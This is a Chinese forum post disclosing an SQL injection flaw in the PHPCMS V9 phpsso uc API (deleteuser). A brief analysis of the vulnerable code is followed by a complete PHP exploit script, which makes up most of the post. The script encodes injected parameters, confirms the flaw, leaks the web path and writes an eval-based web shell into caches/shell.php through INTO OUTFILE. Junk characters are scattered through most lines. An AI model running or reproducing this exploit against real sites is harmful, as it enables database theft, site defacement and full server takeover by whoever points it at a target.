找回密码
 立即注册
查看: 2659|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
5 G: f9 t0 V2 c9 A/ h; ~) E% w% w( `$ ?: h& d* U
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 W4 q, z, }- o* A6 @2 u) c- V
2 A% r: ]' b9 S0 V0 S
漏洞分析:* ~' u; A* ^8 L9 R
1.未启用ucenter服务的情况下uc_key为空
3 S: a! G, u6 r) S( f( M: e) {- O  vdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
( i+ O  o0 f  A+ h( m+ J2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
( W  J. ^1 C9 `' b    public function deleteuser($get,$post) {9 `. @8 k; B) a
        pc_base::load_app_func('global', 'admin');" j8 A3 n! ^* Y' b* I) ^
        pc_base::load_app_class('messagequeue', 'admin' , 0);7 k% W- `2 X3 K8 M% ?- g6 ]
        $ids = new_stripslashes($get['ids']);( G) X8 V% y! W4 @
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");( a7 B) O4 G' j8 [" n; e
SQL语句为9 W$ r' v5 t( ?1 R- @5 o
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids). H& ]+ b; E+ H, q7 e/ q9 Y2 j
% ^5 l" R0 T) D, s. D" Y
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
* |; t: u$ [* ^3 Z& C. E+ C6 O+ Y<?php
/ O- M" P  v% Y: l* s, k! nprint_r('8 O3 r  x& g1 J9 c2 B! B' t
---------------------------------------------------------------------------
. X4 Q  b) B5 }; W5 i2 rPHPcms (v9 or Old Version) uc api sql injection 0day' Q" q* l3 F- N, M3 p) K: X' L
by rayh4c#80sec.com
$ D. V$ {+ g* W---------------------------------------------------------------------------) \1 e6 q, \  i' U! t* R
');4 ^0 T5 T- k4 D8 l' d4 O. m

" A7 ?% ^3 A4 Qif ($argc<3) {* |4 Y# T# v5 S. S: H
    print_r('
. P: ~8 I) D/ h: `  b# G  @$ \---------------------------------------------------------------------------
# |8 ?# ?. U. m8 l# XUsage: php '.$argv[0].' host path OPTIONS
: l, t9 w& q) Z* u9 Uhost:      target server (ip/hostname)8 q* B: F! o4 z+ E  r, S+ K& V
path:      path to phpcms
  t. O( V1 w- {6 ?& uOptions:& i  P" i0 ~1 i0 F- O" ^
-p[port]:    specify a port other than 80$ }* i$ g- D2 S9 _
-P[ip:port]: specify a proxy
  n3 j) }1 Y4 d) a7 O, J; h+ _Example:+ d6 ^# W- C: s1 i
php '.$argv[0].' localhost /
% A; C* }7 c0 Q- [0 Y  s2 ?php '.$argv[0].' localhost /phpcms/ -p81& h" ~# B% j3 a( H  X& \( V" g+ Y
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) k- k4 ~( ^8 j& i---------------------------------------------------------------------------8 ?. F6 M% b4 |  v
');1 c# M2 l: U; |# w; Q
    die;
* ]! s) \- y0 x}* \0 _: y6 w! R' [

' a: y) M1 N, t4 `: x: cerror_reporting(7);
6 e* k4 {, a) l0 N* H8 tini_set("max_execution_time",0);, \8 N9 a' l2 ]+ i
ini_set("default_socket_timeout",5);
% N! R, P. [9 M8 Y# g
' W  J1 K0 I, u! I0 ffunction quick_dump($string)
. ]1 o% p+ a6 R, M{
8 Y( l4 T7 `4 k# `" O+ V+ J* y  $result='';$exa='';$cont=0;
6 q& D% a0 x( H4 i3 M  ?, L  for ($i=0; $i<=strlen($string)-1; $i++)! F  v7 z1 B$ E  i% p- O+ X
  {
& N& E$ p& g( K   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))$ Q$ Q, U. ?- t
   {$result.="  .";}2 ^1 u$ D2 X( A7 F7 k
   else7 l4 A6 g6 f6 m" t- Y
   {$result.="  ".$string[$i];}
. }0 R. S8 E% M/ c& Q$ v* h   if (strlen(dechex(ord($string[$i])))==2)) r$ x# O) Z, ]7 e
   {$exa.=" ".dechex(ord($string[$i]));}1 R# c0 r, s) Q! U7 N! }
   else
9 T! i% L6 b2 o8 [   {$exa.=" 0".dechex(ord($string[$i]));}
8 K# E6 u, S  }, m1 }* L   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}* e& B. h- _/ u0 k8 [
  }3 \$ |; C% C9 U- f" g" \
return $exa."\r\n".$result;
0 x+ i( p0 Z3 r$ ]/ N/ d! U) ?}- F6 L, c3 P. K  Q* D6 G& @
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';6 j8 l% X: |! V! V/ p
7 r- C1 n3 t2 ?7 t! h; N* _8 m* k
function send($packet)1 b& U' X* M3 B/ z$ p3 w
{9 F) Q& j% V( _- ]
  global $proxy, $host, $port, $html, $proxy_regex;% c/ d. |' z+ e  o
  if ($proxy=='') {6 M% ^  O0 {- P& |/ t( H
    $ock=fsockopen(gethostbyname($host),$port);
& a! k7 c' Y+ s) Y7 i, ^% }    if (!$ock) {
* n; M0 m: s$ f6 B: q* O      echo 'No response from '.$host.':'.$port; die;" b3 d" y8 ?* e
    }
9 Z  s3 }) Y8 W0 ?; t  _  }) e" z4 C# q8 h1 P# J
  else {& n1 H- ]1 v4 \; x) I8 j& z+ [( L" S
        $c = preg_match($proxy_regex,$proxy);
2 l* r2 I4 H7 J9 W8 X: l8 I, ?' N    if (!$c) {
# z; L3 g& h0 l; B      echo 'Not a valid proxy...';die;7 @% A0 Q  ?6 D# R" `+ y
    }
2 J+ _; Z4 T, Q    $parts=explode(':',$proxy);
. p( B$ b1 D) l* }    $parts[1]=(int)$parts[1];
- h+ d/ Z( \/ r& D3 Q/ @3 G" P! r    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ K- `# \2 e( Q* [
    $ock=fsockopen($parts[0],$parts[1]);
8 o+ S3 n" }5 P    if (!$ock) {
2 E/ B- s9 s1 l" x- a      echo 'No response from proxy...';die;. C0 @; q  q4 P8 N( B- V
        }
( T* L& M0 l3 c, F& ?  }% ~$ d: S1 o* A8 L3 }: R/ f
  fputs($ock,$packet);9 B4 n8 K: M* N% P8 M8 E$ @/ u
  if ($proxy=='') {
7 Y8 s) e5 l& o/ S. j    $html='';
1 r% Y) \' m) b8 W6 K7 o    while (!feof($ock)) {
, W  s; B; U, A9 v) p; k# O1 J      $html.=fgets($ock);/ n; ?% u, C8 s/ \1 Q
    }
& Q) h/ Z) y3 `  t/ `! J2 U  }
# T# H# s; {8 r9 W' _  {4 Q/ N  else {
& X0 l0 H; W" ~9 l5 k6 v  Y, e# `    $html='';( O: f: S+ _2 k
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
- e8 d, a0 C  T: a0 A      $html.=fread($ock,1);6 X; P0 W% p$ K
    }9 A& r/ g  C9 E1 ~3 d4 L
  }; j8 p7 @0 Y; b0 o+ R$ w
  fclose($ock);
  K) [/ y& z; c$ M}
" f# W6 x& d1 o" }+ L
; U8 [1 h* Y+ m. ]* x$host=$argv[1];+ M. ~. o7 V# L2 C' z! J8 f8 s
$path=$argv[2];$ n: O0 |# p- a6 l
$port=80;- Y& N- l: v# s" X2 R
$proxy="";, t& s/ {' y9 k
for ($i=3; $i<$argc; $i++){
* G* m" D. p! {) |$temp=$argv[$i][0].$argv[$i][1];+ F7 m0 C. _, {# f1 v. H, G( _! M
if ($temp=="-p")5 S0 ~# n5 k8 ~3 C2 D5 T( p! u. Z" C9 Q
{
( T. q, p0 L+ D$ [6 B7 q  $port=(int)str_replace("-p","",$argv[$i]);2 R/ }; s' Q7 l" {$ L+ E9 \, }+ I
}
* c! S+ \, Z+ X( I3 Kif ($temp=="-P")$ `1 b$ I( c/ e
{) \1 `/ I" S- K: a5 r) I) f6 u9 U* e
  $proxy=str_replace("-P","",$argv[$i]);
9 v3 s1 @* ?+ L}
$ E( \3 Y* s1 `& A}) f6 S0 `/ ^9 |7 b; S. }
1 x* X" R: d3 W8 G
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
& ~- M! z; {+ q$ bif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
6 c* L$ g; R" T5 u/ A, s5 p5 Y: g  w1 A% o- J: X2 o( |
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
3 x5 x, D8 m) g1 t) e% u. I
( S( M1 q& `+ [* g4 i    $ckey_length = 4;2 U1 r4 t, B* r; Y- D; Y
8 Y. _$ [4 I+ G
    $key = md5($key ? $key : '');
! V9 P# Z( Y2 u7 D2 d& x2 N    $keya = md5(substr($key, 0, 16));
- K  g; d8 }; h" r7 M    $keyb = md5(substr($key, 16, 16));
+ d; t9 e% j, A6 f* K% z& z8 T    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
6 E3 N( |. U1 |3 O- T
/ C$ [( X' `2 @4 ^2 R9 V    $cryptkey = $keya.md5($keya.$keyc);6 j" E" T6 S5 ~4 ^% i9 Z# O3 V
    $key_length = strlen($cryptkey);" n. [& s6 n  o, W6 K" j) S1 f

! c7 I, _7 a4 Q  `    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
/ v1 G* K0 N% K" ]    $string_length = strlen($string);
3 E, C+ Q( {4 |& S" h4 L8 _, Y# A7 I( O% H# B
    $result = '';0 {, D% L: E6 p; `+ W
    $box = range(0, 255);+ H1 i2 `. O3 o

/ `/ m$ k8 [5 T, V    $rndkey = array();
2 i9 M! g" q1 |7 w' Q' N+ q8 ^    for($i = 0; $i <= 255; $i++) {$ _+ \  `. D" b7 ^' ~8 L+ O
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);. \' }& m" G0 d7 u, R4 w
    }
6 |% k! B6 S9 O0 ]! o/ N8 U
: B' x! \0 w0 A2 W    for($j = $i = 0; $i < 256; $i++) {
/ ]* z, S* U, y0 u- C% `/ [& _        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
' c+ X% f, V2 A9 C        $tmp = $box[$i];
9 p9 q6 w# u! F! {' z* @        $box[$i] = $box[$j];
5 M/ ^4 ^' x& Z; Y  @        $box[$j] = $tmp;
. ]- Q) e" `1 q. T- T    }
; T% \: X, C* F( i1 d/ W
/ F/ P; J, y! L& j" L: [& V    for($a = $j = $i = 0; $i < $string_length; $i++) {. F3 C. g. y; B
        $a = ($a + 1) % 256;
1 m* y3 Y7 S; f' }& f/ l        $j = ($j + $box[$a]) % 256;
: t# M5 q' T* S3 f: t1 U! R        $tmp = $box[$a];' f1 n  ]5 \1 r7 T
        $box[$a] = $box[$j];, h( K. \/ B8 B) ^
        $box[$j] = $tmp;
) \) @5 U+ Y# \6 |1 ~( H        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" r! X9 \. m/ |) g    }4 z' f' T& A" z( b
& Q, Q( y# ]+ j
    if($operation == 'DECODE') {* S" L1 m: W9 m+ R" d$ ]3 D
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 w+ h$ ]8 y, X! A# w
            return substr($result, 26);% J# _2 i, e/ ^; h
        } else {
; }! C( M! j6 a7 d$ j            return '';
5 G5 i7 j! t. S+ q0 T        }
; i, Z1 M6 k/ }- v6 Z% \" @    } else {
; N- |! _7 U: _& @        return $keyc.str_replace('=', '', base64_encode($result));- V: d. R# q" W! E& `3 Y
    }3 u; b7 K3 P7 T; }/ v
( x0 S& q) Z0 }; B6 p/ v2 u4 h
}
8 P$ C1 r4 M) X- X$ r6 s' E5 R$ L8 O2 g0 a3 t& S8 k
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
* W( Z7 h* U" O/ [; h% ^4 A0 N$SQL = urlencode(authcode($SQL, "ENCODE", ""));% C2 Z! D* Q) c$ u
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 B" _- C6 m2 C( l. }$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 o" W; b4 @6 E9 p  ?2 S
$packet.="User-Agent: Mozilla/5.0\r\n";
( k* A' l, Z! o4 W$packet.="Host: ".$host."\r\n";
  t( B# W2 u) q$packet.="Connection: Close\r\n\r\n";! ?+ T6 W2 S6 ?! R7 v5 S. @
send($packet);, E" g1 j# G8 e. M
if(strpos($html,"MySQL Errno") > 0){
% n/ u  i! A0 n  p' z) Qecho "[2] 发现存在SQL注入漏洞"."\n";, m/ n8 ]0 \$ W* S1 }8 Y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";- n; ?) S+ T# M; j
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
3 P' y9 H. D- m$packet.="User-Agent: Mozilla/5.0\r\n";
- w" ~( {6 d+ e, ?+ b( {$packet.="Host: ".$host."\r\n";) b7 r9 B* r: A3 v# R
$packet.="Connection: Close\r\n\r\n";
! b# y7 U$ ?+ Y0 Csend($packet);* a  B; X: x# O* K3 d4 P
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);5 O( q5 d3 e6 y- S
//print_r($matches);
2 D; G% v5 g0 Y! C- D$ c# Cif(!empty($matches)){
& M' D. p% ]: y5 F1 H! aecho "[4] 得到web路径 " . $matches[0]."\n";7 W, }1 e9 }7 ]9 P' ^, \
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";& F/ B- @; K' V+ E( P1 H, V. u/ w! ?% u
$SQL = "time=999999999999999999999999&ids=1)";
$ s9 j7 k, a. \  ~+ f$ E& f7 i% @* `$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";4 Y" m. m' c$ O
$SQL.="&action=deleteuser";
5 O  m* T( ~/ L/ x/ a3 g$SQL = urlencode(authcode($SQL, "ENCODE", ""));( W4 o7 x& S$ y, S5 j- r2 H1 j$ y
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";9 r/ |4 x. J: j! m: k1 M
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( |3 F4 T8 {1 N6 p' h8 [3 R+ u$ n' r
$packet.="User-Agent: Mozilla/5.0\r\n";
0 v2 ^' A# U0 l: I# ~$packet.="Host: ".$host."\r\n";- F9 j! @2 S" J
$packet.="Connection: Close\r\n\r\n";
8 K2 Z# L) ]7 d4 I7 q: Isend($packet);# O9 ?6 j; `2 I! U% `5 W
if(strpos($html,"Access denied") > 0){
/ P! |  N' I. S7 A2 Yecho "[-] MYSQL权限过低 禁止写入文件 ";
) P5 ~+ |' J0 Xdie;' n$ C/ [' N/ s+ n
}, Z# G1 p2 u3 n, M
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";- m/ f2 }  g- L
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
) ^4 H) |- r  E. d. {! H$packet.="User-Agent: Mozilla/5.0\r\n";
5 k& O: N# |$ M& c% E: Z$packet.="Host: ".$host."\r\n";
/ V" Y5 e: A1 y$ _$packet.="Connection: Close\r\n\r\n";
- Z. j# W" K0 K0 _# o) ^send($packet);2 g& F; L# H- o4 C7 J
if(strpos($html,"<title>phpinfo()</title>") > 0){
0 E' n. x  R( k9 Y. i9 B  Xecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
4 g, B% j; w- v# U9 K}, m# @( l4 o$ v/ J. V; a0 X
}else{
- z: y( F2 ~! N3 M) kecho "[-]未取到web路径 ";  f4 V/ D7 a) R' y# i
}0 ?; ?2 `0 [: O; b
}else{
+ S/ i, q8 w* }2 I# mecho "[*]不存在SQL注入漏洞"."\n";
! ?# L# w9 y. R}
; j" Z% V; C5 `: C% F$ v7 ^1 F$ \1 A( g! _5 `" e) t0 D7 p# L
?>
3 n0 c/ ]' B, E$ K, ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表